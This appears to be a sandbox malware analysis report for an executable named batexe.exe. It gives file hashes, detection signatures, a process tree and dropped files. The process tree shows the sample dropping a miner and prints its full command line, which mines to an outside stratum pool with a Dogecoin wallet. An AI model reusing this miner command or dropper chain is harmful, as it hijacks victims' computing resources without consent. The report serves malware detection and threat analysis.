73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
310s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22/02/2024, 04:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1400	b2e.exe
3572	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3572	cpuminer-sse2.exe
3572	cpuminer-sse2.exe
3572	cpuminer-sse2.exe
3572	cpuminer-sse2.exe
3572	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2496-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2496 wrote to memory of 1400	2496	batexe.exe	73
PID 2496 wrote to memory of 1400	2496	batexe.exe	73
PID 2496 wrote to memory of 1400	2496	batexe.exe	73
PID 1400 wrote to memory of 3872	1400	b2e.exe	74
PID 1400 wrote to memory of 3872	1400	b2e.exe	74
PID 1400 wrote to memory of 3872	1400	b2e.exe	74
PID 3872 wrote to memory of 3572	3872	cmd.exe	77
PID 3872 wrote to memory of 3572	3872	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2496
- C:\Users\Admin\AppData\Local\Temp\CFE3.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\CFE3.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\CFE3.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1400
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D3EA.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3872
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\CFE3.tmp\b2e.exe

Filesize
2.1MB

MD5
c65046109eeacc05c12e1d2d47bbcdce

SHA1
f684b885a159684fdc5f276d2e97f1f62e656147

SHA256
3de769cb77e6c4e7be2f7c2683b6e3a7f58f7cd8261f25cd14c868163a5f82fc

SHA512
a0bd72ec5132d11f00120b161c4df1aa93f734dcf9d9b9bb1eda51f96a74a69276aaec7e8cf1fcb762362e887569ad4cb2dbd40aaf541141dfb1ffb7eb51d2dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\CFE3.tmp\b2e.exe

Filesize
4.2MB

MD5
ce995c4734a15155d4eb49152ca9ce45

SHA1
7b9ea319205ebfbec73d1d4586be3b3e2535d659

SHA256
fdf02bd4724028e27f73fbceb2a3b2449d7205f053b512b47971129f26181956

SHA512
6af2095a1c449031a922cc2a2658abe50c1655b8530aa2b5ef5c09d53812249c6b5e280b32d2a50e2386b6f51d7a5817e62ff8b15f9c6c3f2ab58c9b2e3c9b88

Download Submit
C:\Users\Admin\AppData\Local\Temp\D3EA.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.2MB

MD5
1b530df46cefc5af7f2abe1c2467eac2

SHA1
5faa2344fbe3e402e4addbcc435812add424ad39

SHA256
9ca7159f27c0ed5fd018fc5410da8a01eedf4b7edb317739cf42866bb6eb62c5

SHA512
a51d67379b23090bb075a1b1830031068ffa86c299960fb7aa0f2005165ff29a2f463ce01f69405d3c9062e56faeb9403e0bfed6a8c73debbc07e700b37d5147

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.8MB

MD5
e74e6c1d72897c19a8673671634cf75e

SHA1
02d21d70415884f416e9f3cb5345791942a7ce6e

SHA256
c04db7cf833824d1833d5ba42c6e65fbeebb1465c1315f0c524cbf87e50542fa

SHA512
022b6693a33c9d332d19a280b9268df233f10d93bf95892a109bc46d50e2da60f823f1272078f43c4d0aa054f21999a0b17f117f3cc414301b89f87db06da296

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1400-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1400-51-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2496-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3572-43-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/3572-57-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3572-41-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3572-44-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/3572-45-0x000000006CE10000-0x000000006CEA8000-memory.dmp

Filesize
608KB

Download
memory/3572-46-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3572-38-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/3572-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3572-62-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3572-67-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3572-77-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3572-82-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3572-87-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3572-92-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3572-97-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3572-102-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download